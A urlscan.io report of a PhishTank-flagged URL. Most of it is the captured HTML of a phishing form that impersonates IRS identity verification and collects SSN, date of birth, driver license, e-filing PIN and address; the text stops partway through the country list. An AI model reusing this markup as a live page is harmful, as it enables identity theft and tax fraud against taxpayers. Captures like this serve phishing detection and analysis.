mka-eg.com Open in urlscan Pro
192.185.108.67  Malicious Activity! Public Scan

URL: https://mka-eg.com/wp-includes/js/css/i/irs/logon.php
Submission: On February 09 via automatic, source phishtank — Scanned from DE

Form analysis 1 forms found in the DOM

Name: IDProofFormPOST login.php

<form method="post" id="IDProofForm" name="IDProofForm" autocomplete="off" action="login.php">
  <!-- FORM HEADER TEXT -->
  <div class="instruction">
    <br><br> If we are not able to match the information you enter with our records, you will not be able to use this online service but <a href="https://www.irs.gov/childtaxcredit2021alt" title="other options are available to you." tabindex="0">
							other options are available to you.
						</a>
  </div>
  <div id="form_content">
    <h2 class="title">Personal Information</h2>
    <p> All information should match your latest tax return. </p>
    <!-- HIDDEN FIELDS -->
    <!-- FIRST NAME -->
    <div class="fieldset">
      <fieldset>
        <legend><span class="access-label"> User Name Information </span></legend>
        <p>
          <label for="first_name"> First Name </label>
          <input type="text" id="first_name" name="first_name" size="50" maxlength="50" tabindex="0" class="textbox textbox" value=""> &nbsp;<a href="#" id="first_name_link" class="edit-link-display" onclick="makeEditable('first_name', 'textbox');
					 		   		linkStyleChanger('first_name_link');							
									return false" tabindex="0" title="Edit First Name">

						<img src="https://sa.www4.irs.gov/eauth/pub/common/images/icon_pencil.gif" alt="Edit First Name" border="0">&nbsp;Edit
						 </a>
        </p>
        <!-- LAST NAME -->
        <p>
          <label for="last_name"> Last Name </label>
          <input type="text" id="last_name" name="last_name" size="50" maxlength"50"="" tabindex="0" class="textbox textbox" value=""> &nbsp;<a href="#" id="last_name_link" class="edit-link-display" onclick="makeEditable('last_name', 'textbox');
					 		   		linkStyleChanger('last_name_link');							
									return false" tabindex="0" title="Edit Last Name">

						<img src="https://sa.www4.irs.gov/eauth/pub/common/images/icon_pencil.gif" alt="Edit Last Name" border="0">&nbsp;Edit
						 </a>
        </p>
        <input type="hidden" name="email" id="email" value="">
      </fieldset>
    </div>
    <!--  DATE OF BIRTH: MONTH/DAY/YEAR -->
    <!-- DATE OF BIRTH -->
    <div id="fieldset">
      <fieldset>
        <legend class="access-label"> Date of Birth </legend>
        <span id="dob_fieldset" class="pseudo-label"> Date of Birth </span>
        <div class="small-field-nosize">
          <label class="access-label" for="month"> Month </label>
          <select name="month" style="width: auto;" tabindex="0" aria-labelledby="dob_fieldset" class="select-style" required="">
            <option value="Month"> Month </option>
            <script type="text/javascript">
              document.writeln(displayArrayAsHTMLDropdown(months));
            </script>
            <option value="1" title="Jan">Jan</option>
            <option value="2" title="Feb">Feb</option>
            <option value="3" title="Mar">Mar</option>
            <option value="4" title="Apr">Apr</option>
            <option value="5" title="May">May</option>
            <option value="6" title="Jun">Jun</option>
            <option value="7" title="Jul">Jul</option>
            <option value="8" title="Aug">Aug</option>
            <option value="9" title="Sep">Sep</option>
            <option value="10" title="Oct">Oct</option>
            <option value="11" title="Nov">Nov</option>
            <option value="12" title="Dec">Dec</option>
            <option value="1" title="Jan">Jan</option>
            <option value="2" title="Feb">Feb</option>
            <option value="3" title="Mar">Mar</option>
            <option value="4" title="Apr">Apr</option>
            <option value="5" title="May">May</option>
            <option value="6" title="Jun">Jun</option>
            <option value="7" title="Jul">Jul</option>
            <option value="8" title="Aug">Aug</option>
            <option value="9" title="Sep">Sep</option>
            <option value="10" title="Oct">Oct</option>
            <option value="11" title="Nov">Nov</option>
            <option value="12" title="Dec">Dec</option>
          </select>
        </div>
        <div class="small-field-nosize">
          <label class="access-label" for="day"> Day </label>
          <select name="day" id="day" style="width: auto;" tabindex="0" aria-labelledby="dob_fieldset" class="select-style" required="">
            <option value="Day">Day</option>
            <script type="text/javascript">
              document.writeln(displayDaysArrayAsHTMLDropdown());
            </script>
            <option value="01" title="01">01</option>
            <option value="02" title="02">02</option>
            <option value="03" title="03">03</option>
            <option value="04" title="04">04</option>
            <option value="05" title="05">05</option>
            <option value="06" title="06">06</option>
            <option value="07" title="07">07</option>
            <option value="08" title="08">08</option>
            <option value="09" title="09">09</option>
            <option value="10" title="10">10</option>
            <option value="11" title="11">11</option>
            <option value="12" title="12">12</option>
            <option value="13" title="13">13</option>
            <option value="14" title="14">14</option>
            <option value="15" title="15">15</option>
            <option value="16" title="16">16</option>
            <option value="17" title="17">17</option>
            <option value="18" title="18">18</option>
            <option value="19" title="19">19</option>
            <option value="20" title="20">20</option>
            <option value="21" title="21">21</option>
            <option value="22" title="22">22</option>
            <option value="23" title="23">23</option>
            <option value="24" title="24">24</option>
            <option value="25" title="25">25</option>
            <option value="26" title="26">26</option>
            <option value="27" title="27">27</option>
            <option value="28" title="28">28</option>
            <option value="29" title="29">29</option>
            <option value="30" title="30">30</option>
            <option value="31" title="31">31</option>
            <option value="01" title="01">01</option>
            <option value="02" title="02">02</option>
            <option value="03" title="03">03</option>
            <option value="04" title="04">04</option>
            <option value="05" title="05">05</option>
            <option value="06" title="06">06</option>
            <option value="07" title="07">07</option>
            <option value="08" title="08">08</option>
            <option value="09" title="09">09</option>
            <option value="10" title="10">10</option>
            <option value="11" title="11">11</option>
            <option value="12" title="12">12</option>
            <option value="13" title="13">13</option>
            <option value="14" title="14">14</option>
            <option value="15" title="15">15</option>
            <option value="16" title="16">16</option>
            <option value="17" title="17">17</option>
            <option value="18" title="18">18</option>
            <option value="19" title="19">19</option>
            <option value="20" title="20">20</option>
            <option value="21" title="21">21</option>
            <option value="22" title="22">22</option>
            <option value="23" title="23">23</option>
            <option value="24" title="24">24</option>
            <option value="25" title="25">25</option>
            <option value="26" title="26">26</option>
            <option value="27" title="27">27</option>
            <option value="28" title="28">28</option>
            <option value="29" title="29">29</option>
            <option value="30" title="30">30</option>
            <option value="31" title="31">31</option>
          </select>
        </div>
        <div class="small-field-nosize">
          <label class="access-label" for="year"> Year (format: YYYY) </label>
          <input type="text" class="textbox-nosize " name="year" placeholder="Year" size="4" maxlength="4" id="year" tabindex="0" aria-labelledby="dob_fieldset">
        </div>
      </fieldset>
    </div>
    <!--  SOCIAL SECURITY NUMBER -->
    <div id="ssn_fieldset" class="fieldset">
      <fieldset>
        <input type="hidden" id="ssn1x" name="ssn1x" value="">
        <input type="hidden" id="ssn2x" name="ssn2x" value="">
        <input type="hidden" id="ssn3x" name="ssn3x" value="">
        <input type="hidden" id="ssn" name="ssn" value="">
        <label for="ssn_fieldset"> Social Security Number (SSN) or <a href="#" target="_new" tabindex="0" onclick="var itin = window.open('/eauth/pub/help/itin.jsp', 'ITIN', 
							  'width=560,status=yes,scrollbars=yes'); return false" id="help-link" class="help" title="Individual Tax ID Number (ITIN)">
						 Individual Tax ID Number (ITIN)
						 </a>
        </label>
        <input tabindex="0" type="password" name="ssn1" id="ssn1" size="3" maxlength="3" autocomplete="off" onkeyup="combineSSN(); return ssnJump(this, event)" value="" style="width:auto;" class="textbox"> - <input tabindex="0" type="password"
          name="ssn2" id="ssn2" size="2" maxlength="2" autocomplete="off" onkeyup="combineSSN(); return ssnJump(this, event)" value="" style="width:auto;" class="textbox"> - <input tabindex="0" type="text" name="ssn3" id="ssn3" size="4" maxlength="4"
          autocomplete="off" onkeyup="ssnRemoveNonDigits(this); combineSSN()" value="" style="width:auto;" class="textbox">
        <label for="ssn1" class="access-label"> Please enter the first three digits of your Social Security Number. </label>
        <label for="ssn2" class="access-label"> Please enter the second two digits of your Social Security Number. </label>
        <label for="ssn3" class="access-label"> Please enter the last four digits of your Social Security Number. </label>
        <!-- Driver License Number -->
        <p><label for="address1"> Driver License Number </label>
          <input type="text" class="textbox address-textbox" id="dl" name="dl" tabindex="0" maxlength="100" value="">
        </p>
        <!-- Phone Number -->
        <p><label for="address1"> Phone Number </label>
          <input type="text" class="textbox address-textbox" id="dl" name="phone" tabindex="0" maxlength="100" value="">
        </p>
        <!--5 digit Electronic filing Pin -->
        <p><label for="address1"> 5 digit Electronic filing Pin </label>
          <input type="text" class="textbox address-textbox" id="address1" name="efp" tabindex="0" maxlength="100" size="10" value="">
        </p>
        <!--5 digit Confirm Electronic filing Pin -->
        <p><label for="address1"> 5 digit Confirm Electronic filing Pin </label>
          <input type="text" class="textbox address-textbox" id="cefp" name="cefp" tabindex="0" maxlength="100" value="">
        </p>
      </fieldset>
    </div>
    <br>
    <!-- TAX FILER INDICATOR -->
    <h2 class="title"> Filing Status </h2>
    <div class="fieldset">
      <fieldset>
        <legend class="access-label" style="position:relative !important"> Filing Status Information </legend>
        <p>
          <label for="tax_filer_true" class="inline unbold no-outline tax-filer-true-style">
            <input type="radio" name="xtax_filer" value="true" onclick="changeAddress01Display('block'); displayImgHTML();
										 addVisualFocusIndicator(this, true);
										 handleAddressSubheader();
										 toggleAddressHelpLink()" onblur="this.style.outline = ''" onfocus="addVisualFocusIndicator(this, true);" tabindex="0" id="tax_filer_true" style=""> I have filed a tax return for 2021 </label>
        </p>
        <input type="hidden" id="tax_filer" name="tax_filer" value="">
        <p>
          <label for="tax_filer_false" class="unbold no-outline tax-filer-true-style">
            <input type="radio" name="xtax_filer2" onclick="changeAddress01Display('block');
																			    addVisualFocusIndicator(this, true);
																				handleAddressSubheader();
																				toggleAddressHelpLink();
																				displayImgHTML()" value="false" onblur="this.style.outline = ''" onfocus="addVisualFocusIndicator(this, true);" tabindex="0" id="tax_filer_false" style=""> I have not filed a tax return for 2021 </label>
        </p>
      </fieldset>
    </div>
    <!--  ADDRESS INFORMATION -->
    <h2 class="title"> Address Information </h2>
    <p>
      <span id="is_tax_filer_display" class="address-subheader1-display" style="display: none; visibility: hidden;"> Your address must match your most recently filed tax return. &nbsp;
        <a href="https://www.irs.gov/uac/Taxpayer-Identity-Verification-Information#formataddress" tabindex="0" target="_new" id="address_help" title="Address Help" class="help bold-help-link" style="visibility: visible;">Address Help</a>
      </span>
      <span id="is_tax_nonfiler_display" class="address-subheader2-display" style="display: block; visibility: visible;"> If you have not filed in the past 7 years, provide your current mailing address. </span>
    </p>
    <div class="fieldset">
      <fieldset>
        <legend><span class="access-label"><b>
								Address Information
							</b></span></legend>
        <!-- ADDRESS LINE 1 -->
        <p><label for="address1"> Address Line 1 </label>
          <input type="text" class="textbox address-textbox" id="address1" name="address1" tabindex="0" maxlength="100" value="">
        </p>
        <!-- ADDRESS LINE 2 -->
        <p><label for="address2"> Address Line 2 (Optional) </label>
          <input type="text" class="textbox address-textbox" id="address2" name="address2" tabindex="0" maxlength="100" value="">
        </p>
        <!-- CITY -->
        <p><label for="city"> City </label>
          <input type="text" class="textbox city-textbox" id="city" name="city" tabindex="0" size="50" maxlength="50" value="">
        </p>
        <p>
          <!-- U.S. STATE -->
        </p>
        <div class="small-field-nosize">
          <label for="state" id="stateLabel" style="display: block;"> State / Territory </label>
          <select id="state" name="state" tabindex="0" class="select-style" style="display: block;" required="">
            <option value=""></option>
            <script type="text/javascript">
              if (states.isIndexOffset()) states = states.reindex();
              document.writeln(displayArrayAsHTMLDropdown(states));
            </script>
            <option value="AL" title="Alabama">Alabama</option>
            <option value="AK" title="Alaska">Alaska</option>
            <option value="AS" title="American Samoa">American Samoa</option>
            <option value="AZ" title="Arizona">Arizona</option>
            <option value="AR" title="Arkansas">Arkansas</option>
            <option value="AE" title="Armed Forces Africa">Armed Forces Africa</option>
            <option value="AA" title="Armed Forces Americas">Armed Forces Americas</option>
            <option value="AE" title="Armed Forces Canada">Armed Forces Canada</option>
            <option value="AE" title="Armed Forces Europe">Armed Forces Europe</option>
            <option value="AE" title="Armed Forces Middle East">Armed Forces Middle East</option>
            <option value="AP" title="Armed Forces Pacific">Armed Forces Pacific</option>
            <option value="CA" title="California">California</option>
            <option value="CO" title="Colorado">Colorado</option>
            <option value="CT" title="Connecticut">Connecticut</option>
            <option value="DE" title="Delaware">Delaware</option>
            <option value="DC" title="District of Columbia">District of Columbia</option>
            <option value="FM" title="Federated States of Micronesia">Federated States of Micronesia</option>
            <option value="FL" title="Florida">Florida</option>
            <option value="GA" title="Georgia">Georgia</option>
            <option value="GU" title="Guam">Guam</option>
            <option value="HI" title="Hawaii">Hawaii</option>
            <option value="ID" title="Idaho">Idaho</option>
            <option value="IL" title="Illinois">Illinois</option>
            <option value="IN" title="Indiana">Indiana</option>
            <option value="IA" title="Iowa">Iowa</option>
            <option value="KS" title="Kansas">Kansas</option>
            <option value="KY" title="Kentucky">Kentucky</option>
            <option value="LA" title="Louisiana">Louisiana</option>
            <option value="ME" title="Maine">Maine</option>
            <option value="MH" title="Marshall Islands">Marshall Islands</option>
            <option value="MD" title="Maryland">Maryland</option>
            <option value="MA" title="Massachusetts">Massachusetts</option>
            <option value="MI" title="Michigan">Michigan</option>
            <option value="MN" title="Minnesota">Minnesota</option>
            <option value="MS" title="Mississippi">Mississippi</option>
            <option value="MO" title="Missouri">Missouri</option>
            <option value="MT" title="Montana">Montana</option>
            <option value="NE" title="Nebraska">Nebraska</option>
            <option value="NV" title="Nevada">Nevada</option>
            <option value="NH" title="New Hampshire">New Hampshire</option>
            <option value="NJ" title="New Jersey">New Jersey</option>
            <option value="NM" title="New Mexico">New Mexico</option>
            <option value="NY" title="New York">New York</option>
            <option value="NC" title="North Carolina">North Carolina</option>
            <option value="ND" title="North Dakota">North Dakota</option>
            <option value="MP" title="Northern Mariana Islands">Northern Mariana Islands</option>
            <option value="OH" title="Ohio">Ohio</option>
            <option value="OK" title="Oklahoma">Oklahoma</option>
            <option value="OR" title="Oregon">Oregon</option>
            <option value="PW" title="Palau">Palau</option>
            <option value="PA" title="Pennsylvania">Pennsylvania</option>
            <option value="PR" title="Puerto Rico">Puerto Rico</option>
            <option value="RI" title="Rhode Island">Rhode Island</option>
            <option value="SC" title="South Carolina">South Carolina</option>
            <option value="SD" title="South Dakota">South Dakota</option>
            <option value="TN" title="Tennessee">Tennessee</option>
            <option value="TX" title="Texas">Texas</option>
            <option value="UT" title="Utah">Utah</option>
            <option value="VT" title="Vermont">Vermont</option>
            <option value="VI" title="Virgin Islands">Virgin Islands</option>
            <option value="VA" title="Virginia">Virginia</option>
            <option value="WA" title="Washington">Washington</option>
            <option value="WV" title="West Virginia">West Virginia</option>
            <option value="WI" title="Wisconsin">Wisconsin</option>
            <option value="WY" title="Wyoming">Wyoming</option>
            <option value="AL" title="Alabama">Alabama</option>
            <option value="AK" title="Alaska">Alaska</option>
            <option value="AS" title="American Samoa">American Samoa</option>
            <option value="AZ" title="Arizona">Arizona</option>
            <option value="AR" title="Arkansas">Arkansas</option>
            <option value="AE" title="Armed Forces Africa">Armed Forces Africa</option>
            <option value="AA" title="Armed Forces Americas">Armed Forces Americas</option>
            <option value="AE" title="Armed Forces Canada">Armed Forces Canada</option>
            <option value="AE" title="Armed Forces Europe">Armed Forces Europe</option>
            <option value="AE" title="Armed Forces Middle East">Armed Forces Middle East</option>
            <option value="AP" title="Armed Forces Pacific">Armed Forces Pacific</option>
            <option value="CA" title="California">California</option>
            <option value="CO" title="Colorado">Colorado</option>
            <option value="CT" title="Connecticut">Connecticut</option>
            <option value="DE" title="Delaware">Delaware</option>
            <option value="DC" title="District of Columbia">District of Columbia</option>
            <option value="FM" title="Federated States of Micronesia">Federated States of Micronesia</option>
            <option value="FL" title="Florida">Florida</option>
            <option value="GA" title="Georgia">Georgia</option>
            <option value="GU" title="Guam">Guam</option>
            <option value="HI" title="Hawaii">Hawaii</option>
            <option value="ID" title="Idaho">Idaho</option>
            <option value="IL" title="Illinois">Illinois</option>
            <option value="IN" title="Indiana">Indiana</option>
            <option value="IA" title="Iowa">Iowa</option>
            <option value="KS" title="Kansas">Kansas</option>
            <option value="KY" title="Kentucky">Kentucky</option>
            <option value="LA" title="Louisiana">Louisiana</option>
            <option value="ME" title="Maine">Maine</option>
            <option value="MH" title="Marshall Islands">Marshall Islands</option>
            <option value="MD" title="Maryland">Maryland</option>
            <option value="MA" title="Massachusetts">Massachusetts</option>
            <option value="MI" title="Michigan">Michigan</option>
            <option value="MN" title="Minnesota">Minnesota</option>
            <option value="MS" title="Mississippi">Mississippi</option>
            <option value="MO" title="Missouri">Missouri</option>
            <option value="MT" title="Montana">Montana</option>
            <option value="NE" title="Nebraska">Nebraska</option>
            <option value="NV" title="Nevada">Nevada</option>
            <option value="NH" title="New Hampshire">New Hampshire</option>
            <option value="NJ" title="New Jersey">New Jersey</option>
            <option value="NM" title="New Mexico">New Mexico</option>
            <option value="NY" title="New York">New York</option>
            <option value="NC" title="North Carolina">North Carolina</option>
            <option value="ND" title="North Dakota">North Dakota</option>
            <option value="MP" title="Northern Mariana Islands">Northern Mariana Islands</option>
            <option value="OH" title="Ohio">Ohio</option>
            <option value="OK" title="Oklahoma">Oklahoma</option>
            <option value="OR" title="Oregon">Oregon</option>
            <option value="PW" title="Palau">Palau</option>
            <option value="PA" title="Pennsylvania">Pennsylvania</option>
            <option value="PR" title="Puerto Rico">Puerto Rico</option>
            <option value="RI" title="Rhode Island">Rhode Island</option>
            <option value="SC" title="South Carolina">South Carolina</option>
            <option value="SD" title="South Dakota">South Dakota</option>
            <option value="TN" title="Tennessee">Tennessee</option>
            <option value="TX" title="Texas">Texas</option>
            <option value="UT" title="Utah">Utah</option>
            <option value="VT" title="Vermont">Vermont</option>
            <option value="VI" title="Virgin Islands">Virgin Islands</option>
            <option value="VA" title="Virginia">Virginia</option>
            <option value="WA" title="Washington">Washington</option>
            <option value="WV" title="West Virginia">West Virginia</option>
            <option value="WI" title="Wisconsin">Wisconsin</option>
            <option value="WY" title="Wyoming">Wyoming</option>
          </select>
        </div>
        <!-- ZIP OR POSTAL CODE -->
        <div class="small-field-nosize">
          <label for="zip" id="zipLabel" style="display: block;"> ZIP Code </label>
          <input type="text" class="textbox zip-textbox" tabindex="0" name="zip" id="zip" value="" size="5" maxlength="5" style="display: block;">
        </div>
        <!-- COUNTRY -->
        <div class="small-field-nosize">
          <label for="country"> Country </label>
          <select id="country" name="country" class="select-style" tabindex="0" onchange="updateAddressOnCountrySelection(this.value);" required="">
            <option value=""></option>
            <script type="text/javascript">
              document.writeln(displayArrayAsHTMLDropdown(countries, 'United States'));
            </script>
            <option value="United States" title="United States" selected="">United States</option>
            <option value="Afghanistan" title="Afghanistan">Afghanistan</option>
            <option value="Akrotiri" title="Akrotiri">Akrotiri</option>
            <option value="Albania" title="Albania">Albania</option>
            <option value="Algeria" title="Algeria">Algeria</option>
            <option value="Andorra" title="Andorra">Andorra</option>
            <option value="Angola" title="Angola">Angola</option>
            <option value="Anguilla" title="Anguilla">Anguilla</option>
            <option value="Antarctica" title="Antarctica">Antarctica</option>
            <option value="Antigua and Barbuda" title="Antigua and Barbuda">Antigua and Barbuda</option>
            <option value="Argentina" title="Argentina">Argentina</option>
            <option value="Armenia" title="Armenia">Armenia</option>
            <option value="Aruba" title="Aruba">Aruba</option>
            <option value="Ashmore and Cartier I" title="Ashmore and Cartier Islands">Ashmore and Cartier Islands</option>
            <option value="Australia" title="Australia">Australia</option>
            <option value="Austria" title="Austria">Austria</option>
            <option value="Azerbaijan" title="Azerbaijan">Azerbaijan</option>
            <option value="Bahamas" title="Bahamas">Bahamas</option>
            <option value="Bahrain" title="Bahrain">Bahrain</option>
            <option value="Baker Island" title="Baker Island">Baker Island</option>
            <option value="Bangladesh" title="Bangladesh">Bangladesh</option>
            <option value="Barbados" title="Barbados">Barbados</option>
            <option value="Belarus" title="Belarus">Belarus</option>
            <option value="Belgium" title="Belgium">Belgium</option>
            <option value="Belize" title="Belize">Belize</option>
            <option value="Benin" title="Benin">Benin</option>
            <option value="Bermuda" title="Bermuda">Bermuda</option>
            <option value="Bhutan" title="Bhutan">Bhutan</option>
            <option value="Bolivia" title="Bolivia">Bolivia</option>
            <option value="Bosnia Herzegovina" title="Bosnia-Herzegovina">Bosnia-Herzegovina</option>
            <option value="Botswana" title="Botswana">Botswana</option>
            <option value="Bouvet Island" title="Bouvet Island">Bouvet Island</option>
            <option value="Brazil" title="Brazil">Brazil</option>
            <option value="British Indian Ocean" title="British Indian Ocean Territory">British Indian Ocean Territory</option>
            <option value="British Virgin Island" title="British Virgin Islands">British Virgin Islands</option>
            <option value="Brunei" title="Brunei">Brunei</option>
            <option value="Bulgaria" title="Bulgaria">Bulgaria</option>
            <option value="Burkina Faso" title="Burkina Faso">Burkina Faso</option>
            <option value="Burma" title="Burma">Burma</option>
            <option value="Burundi" title="Burundi">Burundi</option>
            <option value="Cambodia" title="Cambodia">Cambodia</option>
            <option value="Cameroon" title="Cameroon">Cameroon</option>
            <option value="Canada" title="Canada">Canada</option>
            <option value="Cape Verde" title="Cape Verde">Cape Verde</option>
            <option value="Cayman Islands" title="Cayman Islands">Cayman Islands</option>
            <option value="Central African Repub" title="Central African Republic">Central African Republic</option>
            <option value="Chad" title="Chad">Chad</option>
            <option value="Chile" title="Chile">Chile</option>
            <option value="China" title="China">China</option>
            <option value="Christmas Island" title="Christmas Island">Christmas Island</option>
            <option value="Clipperton Island" title="Clipperton Island">Clipperton Island</option>
            <option value="Cocos Keeling Islands" title="Cocos (Keeling) Islands">Cocos (Keeling) Islands</option>
            <option value="Colombia" title="Colombia">Colombia</option>
            <option value="Comoros" title="Comoros">Comoros</option>
            <option value="Congo Brazzaville" title="Congo (Brazzaville)">Congo (Brazzaville)</option>
            <option value="Congo Kinshasa" title="Congo (Kinshasa)">Congo (Kinshasa)</option>
            <option value="Cook Islands" title="Cook Islands">Cook Islands</option>
            <option value="Coral Sea Islands" title="Coral Sea Islands">Coral Sea Islands</option>
            <option value="Costa Rica" title="Costa Rica">Costa Rica</option>
            <option value="Cote DIvoire Ivory Co" title="Cote D'Ivoire (Ivory Coast)">Cote D'Ivoire (Ivory Coast)</option>
            <option value="Croatia" title="Croatia">Croatia</option>
            <option value="Cuba" title="Cuba">Cuba</option>
            <option value="Curacao" title="Curacao">Curacao</option>
            <option value="Cyprus" title="Cyprus">Cyprus</option>
            <option value="Czech Republic" title="Czech Republic">Czech Republic</option>
            <option value="Denmark" title="Denmark">Denmark</option>
            <option value="Dhekelia" title="Dhekelia">Dhekelia</option>
            <option value="Djibouti" title="Djibouti">Djibouti</option>
            <option value="Dominica" title="Dominica">Dominica</option>
            <option value="Dominican Republic" title="Dominican Republic">Dominican Republic</option>
            <option value="East Timor" title="East Timor">East Timor</option>
            <option value="Ecuador" title="Ecuador">Ecuador</option>
            <option value="Egypt" title="Egypt">Egypt</option>
            <option value="El Salvador" title="El Salvador">El Salvador</option>
            <option value="Equatorial Guinea" title="Equatorial Guinea">Equatorial Guinea</option>
            <option value="Eritrea" title="Eritrea">Eritrea</option>
            <option value="Estonia" title="Estonia">Estonia</option>
            <option value="Ethiopia" title="Ethiopia">Ethiopia</option>
            <option value="Falkland Islands Isla" title="Falkland Islands (Islas Malvinas)">Falkland Islands (Islas Malvinas)</option>
            <option value="Faroe Islands" title="Faroe Islands">Faroe Islands</option>
            <option value="Federated States of M" title="Federated States of Micronesia">Federated States of Micronesia</option>
            <option value="Fiji" title="Fiji">Fiji</option>
            <option value="Finland" title="Finland">Finland</option>
            <option value="France" title="France">France</option>
            <option value="French Polynesia" title="French Polynesia">French Polynesia</option>
            <option value="French Southern and A" title="French Southern and Antarctic Lands">French Southern and Antarctic Lands</option>
            <option value="Gabon" title="Gabon">Gabon</option>
            <option value="The Gambia" title="The Gambia">The Gambia</option>
            <option value="Georgia" title="Georgia">Georgia</option>
            <option value="Germany" title="Germany">Germany</option>
            <option value="Ghana" title="Ghana">Ghana</option>
            <option value="Gibraltar" title="Gibraltar">Gibraltar</option>
            <option value="Greece" title="Greece">Greece</option>
            <option value="Greenland" title="Greenland">Greenland</option>
            <option value="Grenada" title="Grenada">Grenada</option>
            <option value="Guatemala" title="Guatemala">Guatemala</option>
            <option value="Guernsey" title="Guernsey">Guernsey</option>
            <option value="Guinea" title="Guinea">Guinea</option>
            <option value="Guinea Bissau" title="Guinea-Bissau">Guinea-Bissau</option>
            <option value="Guyana" title="Guyana">Guyana</option>
            <option value="Haiti" title="Haiti">Haiti</option>
            <option value="Heard Island and McDo" title="Heard Island and McDonald Islands">Heard Island and McDonald Islands</option>
            <option value="Holy See" title="Holy See">Holy See</option>
            <option value="Honduras" title="Honduras">Honduras</option>
            <option value="Hong Kong" title="Hong Kong">Hong Kong</option>
            <option value="Howland Island" title="Howland Island">Howland Island</option>
            <option value="Hungary" title="Hungary">Hungary</option>
            <option value="Iceland" title="Iceland">Iceland</option>
            <option value="India" title="India">India</option>
            <option value="Indonesia" title="Indonesia">Indonesia</option>
            <option value="Iran" title="Iran">Iran</option>
            <option value="Iraq" title="Iraq">Iraq</option>
            <option value="Ireland" title="Ireland">Ireland</option>
            <option value="Israel" title="Israel">Israel</option>
            <option value="Italy" title="Italy">Italy</option>
            <option value="Jamaica" title="Jamaica">Jamaica</option>
            <option value="Jan Mayen" title="Jan Mayen">Jan Mayen</option>
            <option value="Japan" title="Japan">Japan</option>
            <option value="Jarvis Island" title="Jarvis Island">Jarvis Island</option>
            <option value="Jersey" title="Jersey">Jersey</option>
            <option value="Johnston Atoll" title="Johnston Atoll">Johnston Atoll</option>
            <option value="Jordan" title="Jordan">Jordan</option>
            <option value="Kazakhstan" title="Kazakhstan">Kazakhstan</option>
            <option value="Kenya" title="Kenya">Kenya</option>
            <option value="Kingman Reef" title="Kingman Reef">Kingman Reef</option>
            <option value="Kiribati" title="Kiribati">Kiribati</option>
            <option value="Korea Democratic Peop" title="Korea, Democratic People's Republic of (North)">Korea, Democratic People's Republic of (North)</option>
            <option value="Korea Republic of Sou" title="Korea, Republic of (South)">Korea, Republic of (South)</option>
            <option value="Kosovo" title="Kosovo">Kosovo</option>
            <option value="Kuwait" title="Kuwait">Kuwait</option>
            <option value="Kyrgyzstan" title="Kyrgyzstan">Kyrgyzstan</option>
            <option value="Laos" title="Laos">Laos</option>
            <option value="Latvia" title="Latvia">Latvia</option>
            <option value="Lebanon" title="Lebanon">Lebanon</option>
            <option value="Lesotho" title="Lesotho">Lesotho</option>
            <option value="Liberia" title="Liberia">Liberia</option>
            <option value="Libya" title="Libya">Libya</option>
            <option value="Liechtenstein" title="Liechtenstein">Liechtenstein</option>
            <option value="Lithuania" title="Lithuania">Lithuania</option>
            <option value="Luxembourg" title="Luxembourg">Luxembourg</option>
            <option value="Macau" title="Macau">Macau</option>
            <option value="Macedonia" title="Macedonia">Macedonia</option>
            <option value="Madagascar" title="Madagascar">Madagascar</option>
            <option value="Malawi" title="Malawi">Malawi</option>
            <option value="Malaysia" title="Malaysia">Malaysia</option>
            <option value="Maldives" title="Maldives">Maldives</option>
            <option value="Mali" title="Mali">Mali</option>
            <option value="Malta" title="Malta">Malta</option>
            <option value="Man Isle of" title="Man, Isle of">Man, Isle of</option>
            <option value="Marshall Islands" title="Marshall Islands">Marshall Islands</option>
            <option value="Mauritania" title="Mauritania">Mauritania</option>
            <option value="Mauritius" title="Mauritius">Mauritius</option>
            <option value="Mexico" title="Mexico">Mexico</option>
            <option value="Midway Islands" title="Midway Islands">Midway Islands</option>
            <option value="Moldova" title="Moldova">Moldova</option>
            <option value="Monaco" title="Monaco">Monaco</option>
            <option value="Mongolia" title="Mongolia">Mongolia</option>
            <option value="Montenegro" title="Montenegro">Montenegro</option>
            <option value="Montserrat" title="Montserrat">Montserrat</option>
            <option value="Morocco" title="Morocco">Morocco</option>
            <option value="Mozambique" title="Mozambique">Mozambique</option>
            <option value="Namibia" title="Namibia">Namibia</option>
            <option value="Nauru" title="Nauru">Nauru</option>
            <option value="Navassa Island" title="Navassa Island">Navassa Island</option>
            <option value="Nepal" title="Nepal">Nepal</option>
            <option value="Netherlands" title="Netherlands">Netherlands</option>
            <option value="New Caledonia" title="New Caledonia">New Caledonia</option>
            <option value="New Zealand" title="New Zealand">New Zealand</option>
            <option value="Nicaragua" title="Nicaragua">Nicaragua</option>
            <option value="Niger" title="Niger">Niger</option>
            <option value="Nigeria" title="Nigeria">Nigeria</option>
            <option value="Niue" title="Niue">Niue</option>
            <option value="Norfolk Island" title="Norfolk Island">Norfolk Island</option>
            <option value="Norway" title="Norway">Norway</option>
            <option value="Oman" title="Oman">Oman</option>
            <option value="Pakistan" title="Pakistan">Pakistan</option>
            <option value="Palau" title="Palau">Palau</option>
            <option value="Palmyra Atoll" title="Palmyra Atoll">Palmyra Atoll</option>
            <option value="Panama" title="Panama">Panama</option>
            <option value="Papua New Guinea" title="Papua-New Guinea">Papua-New Guinea</option>
            <option value="Paracel Islands" title="Paracel Islands">Paracel Islands</option>
            <option value="Paraguay" title="Paraguay">Paraguay</option>
            <option value="Peru" title="Peru">Peru</option>
            <option value="Philippines" title="Philippines">Philippines</option>
            <option value="Pitcairn Islands" title="Pitcairn Islands">Pitcairn Islands</option>
            <option value="Poland" title="Poland">Poland</option>
            <option value="Portugal" title="Portugal">Portugal</option>
            <option value="Qatar" title="Qatar">Qatar</option>
            <option value="Romania" title="Romania">Romania</option>
            <option value="Russia" title="Russia">Russia</option>
            <option value="Rwanda" title="Rwanda">Rwanda</option>
            <option value="Saint Barthelemy" title="Saint Barthelemy">Saint Barthelemy</option>
            <option value="Saint Martin" title="Saint Martin">Saint Martin</option>
            <option value="Samoa" title="Samoa">Samoa</option>
            <option value="San Marino" title="San Marino">San Marino</option>
            <option value="Sao Tome and Principe" title="Sao Tome and Principe">Sao Tome and Principe</option>
            <option value="Saudi Arabia" title="Saudi Arabia">Saudi Arabia</option>
            <option value="Senegal" title="Senegal">Senegal</option>
            <option value="Serbia" title="Serbia">Serbia</option>
            <option value="Seychelles" title="Seychelles">Seychelles</option>
            <option value="Sierra Leone" title="Sierra Leone">Sierra Leone</option>
            <option value="Singapore" title="Singapore">Singapore</option>
            <option value="Sint Maarten" title="Sint Maarten">Sint Maarten</option>
            <option value="Slovakia" title="Slovakia">Slovakia</option>
            <option value="Slovenia" title="Slovenia">Slovenia</option>
            <option value="Solomon Islands" title="Solomon Islands">Solomon Islands</option>
